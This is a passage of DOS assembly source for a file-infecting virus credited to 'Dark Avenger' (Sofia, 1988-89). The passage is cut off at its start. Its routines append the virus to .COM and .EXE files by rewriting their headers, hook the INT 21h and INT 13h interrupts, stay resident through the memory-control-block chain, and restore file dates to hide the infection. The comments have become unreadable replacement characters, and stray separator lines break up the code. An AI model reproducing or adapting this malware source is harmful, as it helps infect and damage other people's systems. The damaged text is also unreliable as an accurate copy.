movsw ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> .EXE <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
xor dx,dx
|
|||
|
mov cx,offset top_file
|
|||
|
mov ah,40h
|
|||
|
int 21h ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
jc go_no_fuck ;(<28><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>)
|
|||
|
xor cx,ax
|
|||
|
jnz go_no_fuck
|
|||
|
mov dx,cx
|
|||
|
mov ax,4200h
|
|||
|
int 21h
|
|||
|
cmp word ptr [top_save],5a4dh
|
|||
|
je do_exe
|
|||
|
mov byte ptr [top_save],0e9h
|
|||
|
mov ax,word ptr [top_save+18h]
|
|||
|
add ax,startup-copyright-3
|
|||
|
mov word ptr [top_save+1],ax
|
|||
|
mov cx,3
|
|||
|
jmp short write_header
|
|||
|
go_no_fuck:
|
|||
|
jmp short no_fuck
|
|||
|
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> header-<2D> <20><> .EXE <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
do_exe:
|
|||
|
call mul_hdr
|
|||
|
not ax
|
|||
|
not dx
|
|||
|
inc ax
|
|||
|
jne calc_offs
|
|||
|
inc dx
|
|||
|
calc_offs:
|
|||
|
add ax,word ptr [top_save+18h]
|
|||
|
adc dx,word ptr [top_save+1ah]
|
|||
|
mov cx,10h
|
|||
|
div cx
|
|||
|
mov word ptr [top_save+14h],startup-copyright
|
|||
|
mov word ptr [top_save+16h],ax
|
|||
|
add ax,(offset top_file-offset copyright-1)/16+1
|
|||
|
mov word ptr [top_save+0eh],ax
|
|||
|
mov word ptr [top_save+10h],100h
|
|||
|
add word ptr [top_save+18h],offset top_file
|
|||
|
adc word ptr [top_save+1ah],0
|
|||
|
mov ax,word ptr [top_save+18h]
|
|||
|
and ax,1ffh
|
|||
|
mov word ptr [top_save+2],ax
|
|||
|
pushf
|
|||
|
mov ax,word ptr [top_save+19h]
|
|||
|
shr byte ptr [top_save+1bh],1
|
|||
|
rcr ax,1
|
|||
|
popf
|
|||
|
jz update_len
|
|||
|
inc ax
|
|||
|
update_len:
|
|||
|
mov word ptr [top_save+4],ax
|
|||
|
mov cx,18h
|
|||
|
write_header:
|
|||
|
mov dx,offset top_save
|
|||
|
mov ah,40h
|
|||
|
int 21h ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
no_fuck:
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
popf
|
|||
|
jc stop_fuck
|
|||
|
mov ax,5701h ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>
|
|||
|
int 21h
|
|||
|
stop_fuck:
|
|||
|
ret
|
|||
|
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> INT 21h <20> INT 27h <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><> <20>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>. <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20> <20><><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.
|
|||
|
|
|||
|
alloc:
|
|||
|
push ds
|
|||
|
call get_chain
|
|||
|
mov byte ptr ds:[0],'M'
|
|||
|
pop ds
|
|||
|
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>,
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> INT 21h (<28><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>).
|
|||
|
|
|||
|
ontop:
|
|||
|
push ds
|
|||
|
push ax
|
|||
|
push bx
|
|||
|
push dx
|
|||
|
xor bx,bx
|
|||
|
mov ds,bx
|
|||
|
lds dx,ds:[21h*4]
|
|||
|
cmp dx,offset int_21
|
|||
|
jne search_segment
|
|||
|
mov ax,ds
|
|||
|
mov bx,cs
|
|||
|
cmp ax,bx
|
|||
|
je test_complete
|
|||
|
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> INT 21h, <20><> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD>
|
|||
|
; <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>. <20><> INT 27h <20><> <20><> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>.
|
|||
|
|
|||
|
xor bx,bx
|
|||
|
search_segment:
|
|||
|
mov ax,[bx]
|
|||
|
cmp ax,offset int_21
|
|||
|
jne search_next
|
|||
|
mov ax,cs
|
|||
|
cmp ax,[bx+2]
|
|||
|
je got_him
|
|||
|
search_next:
|
|||
|
inc bx
|
|||
|
jne search_segment
|
|||
|
je return_control
|
|||
|
got_him:
|
|||
|
mov ax,word ptr cs:[save_int_21]
|
|||
|
mov [bx],ax
|
|||
|
mov ax,word ptr cs:[save_int_21+2]
|
|||
|
mov [bx+2],ax
|
|||
|
mov word ptr cs:[save_int_21],dx
|
|||
|
mov word ptr cs:[save_int_21+2],ds
|
|||
|
xor bx,bx
|
|||
|
|
|||
|
; <20> <20><> <20><> <20><> <20><><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
return_control:
|
|||
|
mov ds,bx
|
|||
|
mov ds:[21h*4],offset int_21
|
|||
|
mov ds:[21h*4+2],cs
|
|||
|
test_complete:
|
|||
|
pop dx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
pop ds
|
|||
|
ret
|
|||
|
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> MCB
|
|||
|
|
|||
|
get_chain:
|
|||
|
push ax
|
|||
|
push bx
|
|||
|
mov ah,62h
|
|||
|
call function
|
|||
|
mov ax,cs
|
|||
|
dec ax
|
|||
|
dec bx
|
|||
|
next_blk:
|
|||
|
mov ds,bx
|
|||
|
stc
|
|||
|
adc bx,ds:[3]
|
|||
|
cmp bx,ax
|
|||
|
jc next_blk
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
ret
|
|||
|
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> 16
|
|||
|
|
|||
|
mul_hdr:
|
|||
|
mov ax,word ptr [top_save+8]
|
|||
|
mul_16:
|
|||
|
mov dx,10h
|
|||
|
mul dx
|
|||
|
ret
|
|||
|
|
|||
|
db 'This program was written in the city of Sofia '
|
|||
|
db '(C) 1988-89 Dark Avenger',0
|
|||
|
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> INT 13h.
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> BIOS, <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD>.
|
|||
|
|
|||
|
int_13:
|
|||
|
cmp ah,3
|
|||
|
jnz subfn_ok
|
|||
|
cmp dl,80h
|
|||
|
jnc hdisk
|
|||
|
db 0eah ;JMP XXXX:YYYY
|
|||
|
my_size: ;--- <20><><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
disk:
|
|||
|
dd 0
|
|||
|
hdisk:
|
|||
|
db 0eah ;JMP XXXX:YYYY
|
|||
|
fdisk:
|
|||
|
dd 0
|
|||
|
subfn_ok:
|
|||
|
db 0eah ;JMP XXXX:YYYY
|
|||
|
save_int_13:
|
|||
|
dd 0
|
|||
|
call_adr:
|
|||
|
dd 100h
|
|||
|
|
|||
|
stack_pointer:
|
|||
|
dd 0 ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> SS:SP
|
|||
|
my_save:
|
|||
|
int 20h ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
nop ;3 <20><><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
top_file: ;--- <20><><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
filehndl equ $
|
|||
|
filename equ filehndl+2 ;<3B><><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>
|
|||
|
save_int_27 equ filename+65 ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> INT 27h
|
|||
|
save_int_21 equ save_int_27+4 ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> INT 21h
|
|||
|
aux_size equ save_int_21+4 ;--- <20><><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
top_save equ save_int_21+4 ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:
|
|||
|
; - <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 24 <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; - <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD> (4 <20><><EFBFBD><EFBFBD><EFBFBD>)
|
|||
|
; - <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; (<28> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> my_size)
|
|||
|
top_bz equ top_save-copyright
|
|||
|
my_bz equ my_size-copyright
|
|||
|
code ends
|
|||
|
end
|
|||
|
|